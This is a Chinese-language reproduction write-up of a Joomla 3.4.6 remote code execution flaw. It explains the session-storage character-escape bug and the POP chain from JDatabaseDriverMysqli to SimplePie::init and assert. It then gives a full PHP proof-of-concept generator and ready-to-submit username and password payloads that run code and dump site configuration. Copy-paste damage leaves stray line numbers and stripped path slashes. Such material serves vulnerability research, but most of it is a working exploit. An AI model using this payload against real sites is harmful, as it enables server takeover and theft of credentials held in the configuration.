环境搭建 下载地址:https:downloads.joomla.orgitcmsjoomla33-4-6
php版本:5.5.38(复现环境要求php版本低于5.6.40,不支持php7)
漏洞分析 session逃逸 session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session
表中
存入和从数据库中取出用了位于 librariesjoomlasessionstoragedatabase.php
的write()
和read()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public function write ($id , $data ) { Get the database connection object and verify its connected. $db = JFactory ::getDbo (); $data = str_replace (chr (0 ) . '*' . chr (0 ), '\0\0\0' , $data ); try { $query = $db ->getQuery (true ) ->update ($db ->quoteName ('#__session' )) ->set ($db ->quoteName ('data' ) . ' = ' . $db ->quote ($data )) ->set ($db ->quoteName ('time' ) . ' = ' . $db ->quote ((int ) time ())) ->where ($db ->quoteName ('session_id' ) . ' = ' . $db ->quote ($id )); Try to update the session data in the database table. $db ->setQuery ($query ); if (!$db ->execute ()) { return false ; } * Since $db ->execute did not throw an exception, so the query was successful. Either the data changed, or the data was identical. In either case we are done. * return true ; } catch (Exception $e ) { return false ; } } public function read ($id ) { Get the database connection object and verify its connected. $db = JFactory ::getDbo (); try { Get the session data from the database table. $query = $db ->getQuery (true ) ->select ($db ->quoteName ('data' )) ->from ($db ->quoteName ('#__session' )) ->where ($db ->quoteName ('session_id' ) . ' = ' . $db ->quote ($id )); $db ->setQuery ($query ); $result = (string ) $db ->loadResult (); $result = str_replace ('\0\0\0' , chr (0 ) . '*' . chr (0 ), $result ); return $result ; } catch (Exception $e ) { return false ; } }
可以看到,它在写入的过程中将 %00*%00
替换为 \0\0\0
,因为 MySQL 中不能存储 NULL
,而 protected
变量序列化后带有 %00*%00
在读取过程中会重新把 \0\0\0
替换为 %00*%00
以便反序列化,但是这个替换将 6 字节的内容替换为 3 字节,那么就可能形成反序列化字符逃逸
在这里我们想要的是将password进行逃逸,实现任意对象注入
1 s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:4:"1234"
1 s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"1234"
1 s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:4:"1234";s:3:"age";O:6:"Object"
接下来就是POP链的构造
POP链构造 POP链的入口位于JDatabaseDriverMysqli
1 2 3 4 public function __destruct ( ) { $this ->disconnect (); }
跟进disconnect()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function disconnect ( ) { Close the connection. if ($this ->connection) { foreach ($this ->disconnectHandlers as $h ) { call_user_func_array ($h , array ( &$this )); } mysqli_close ($this ->connection); } $this ->connection = null ; }
这里的call_user_func_array($h, array( &$this));
第一个参数可控,第二个不可控,所以我们可以用call_user_func_array([$obj,"任意方法"],array( &$this))
来调用,我们的目标就是SimplePie
类的init
方法,跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 if ($this ->feed_url !== null || $this ->raw_data !== null ) { $this ->data = array (); $this ->multifeed_objects = array (); $cache = false ; if ($this ->feed_url !== null ) { $parsed_feed_url = SimplePie_Misc ::parse_url ($this ->feed_url); Decide whether to enable caching if ($this ->cache && $parsed_feed_url ['scheme' ] !== '' ) { $cache = call_user_func (array ($this ->cache_class, 'create' ), $this ->cache_location, call_user_func ($this ->cache_name_function, $this ->feed_url), 'spc' );
第二个call_user_func()
函数里面两个参数都是可控的,就导致了RCE
这里需要满足几个条件:
1.feed_url需要满足parse_url的解析(使用phpinfo();JFactory::getConfig();exit;
即可绕过)
2.raw_data、cache为True
这里无法直接加载SimplePie类,需要通过加载JSimplepieFactory类来间接加载,因为里面有一段jimport('simplepie.simplepie');
现在就可以写出POC了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class JSimplepieFactory {} class JDatabaseDriverMysql {} class JDatabaseDriverMysqli { protected $abc ; protected $connection ; protected $disconnectHandlers ; function __construct ( ) { $this ->abc = new JSimplepieFactory (); $this ->connection = 1 ; $this ->disconnectHandlers = [ [new SimplePie , "init" ], ]; } } class SimplePie { var $sanitize ; var $cache_name_function ; var $feed_url ; function __construct ( ) { $this ->feed_url = "phpinfo();JFactory::getConfig();exit;" ; $this ->cache_name_function = "assert" ; $this ->sanitize = new JDatabaseDriverMysql (); } } $obj = new JDatabaseDriverMysqli ();$ser = serialize ($obj );echo str_replace (chr (0 ) . '*' . chr (0 ), '\0\0\0' , $ser );?>
最终的账号与密码
1 2 3 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 AAA";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}